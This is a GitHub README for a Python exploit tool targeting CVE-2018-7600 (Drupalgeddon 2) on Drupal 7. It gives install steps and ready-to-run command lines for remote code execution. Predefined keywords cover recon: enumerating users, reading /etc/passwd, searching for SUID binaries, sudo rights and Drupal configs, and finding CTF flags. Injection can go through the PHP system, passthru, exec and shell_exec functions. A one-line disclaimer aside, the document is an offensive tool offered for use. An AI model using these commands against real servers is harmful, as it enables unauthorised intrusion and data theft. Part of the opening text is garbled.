bixipro/drupalgeddon2-cve-2018-7600Python exploit for CVE-2018-7600 (Drupalgeddon 2) enabling remote code execution on Drupal 7 with multiple injection methods and predefined commands for Linux and Windows.
bixi.pybixi.py is an exploit for the CVE‑2018‑7600 (Drupalgeddon 2) vulnerability affecting Drupal 7.
It allows remote command execution (RCE) on vulnerable Drupal servers through an intuitive interface and predefined commands.
THIS SOFTWARE IS FOR EDUCATIONAL AND RESEARCH PURPOSES ONLY IN CONTROLLED ENVIRONMENTS.
"With great power comes great responsibility"
system, , , )passthruexecshell_execgit clone https://github.com/bixiPRO/Drupalgeddon2-CVE-2018-7600.git
cd Drupalgeddon2-CVE-2018-7600
# Kali / Debian / Ubuntu
sudo apt update
sudo apt install python3 python3-pip -y
pip3 install requests
# Other distributions
pip3 install requests
chmod +x bixi.py
python3 bixi.py --help
python3 bixi.py <URL> <COMMAND/KEYWORD> [INJECTION_TYPE]
# Check vulnerability
python3 bixi.py http://10.99.99.6/drupal/ test
# Detect operating system
python3 bixi.py http://10.99.99.6/drupal/ linux
python3 bixi.py http://10.99.99.6/drupal/ windows
# Enumerate users
python3 bixi.py http://10.99.99.6/drupal/ users_linux
python3 bixi.py http://10.99.99.6/drupal/ net_user
# System information
python3 bixi.py http://10.99.99.6/drupal/ ifconfig
python3 bixi.py http://10.99.99.6/drupal/ ipconfig
# Custom commands
python3 bixi.py http://10.99.99.6/drupal/ "cat /etc/passwd"
python3 bixi.py http://10.99.99.6/drupal/ "whoami /all"
| Command | Description |
|---|---|
| linux | System information |
| users_linux | List users |
| id | User/group info |
| ls | List files |
| ifconfig | Network info |
| find_flag | Search for flags |
| Command | Description |
|---|---|
| windows | System information |
| net_user | List users |
| whoami_win | Detailed info |
| ipconfig | Network |
| netstat_win | Connections |
| dir | List directory |
| Command | Description |
|---|---|
| sudo | Check sudo privileges |
| suid | Search for SUID binaries |
| net_localgroup | Local groups |
| drupal_config | Search for configurations |
| drupal_version | Get Drupal version |
# system (default)
python3 bixi.py http://target/ "whoami" system
# passthru
python3 bixi.py http://target/ "whoami" passthru
# exec
python3 bixi.py http://target/ "whoami" exec
# shell_exec
python3 bixi.py http://target/ "whoami" shell_exec
drupalgeddon2-exploit/
│
├── bixi.py
├── README.md
├── requirements.txt
├── examples/
│ ├── linux_commands.txt
│ └── windows_commands.txt
└── screenshots/
├── help_screen.png
└── exploit_success.png
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
}
Modify default value (15 seconds):
timeout=15
Edit the commands dictionary in get_command_for_keyword()
pip3 install requests
# Check connectivity
ping TARGET_IP
# Check Drupal path
curl http://TARGET_IP/drupal/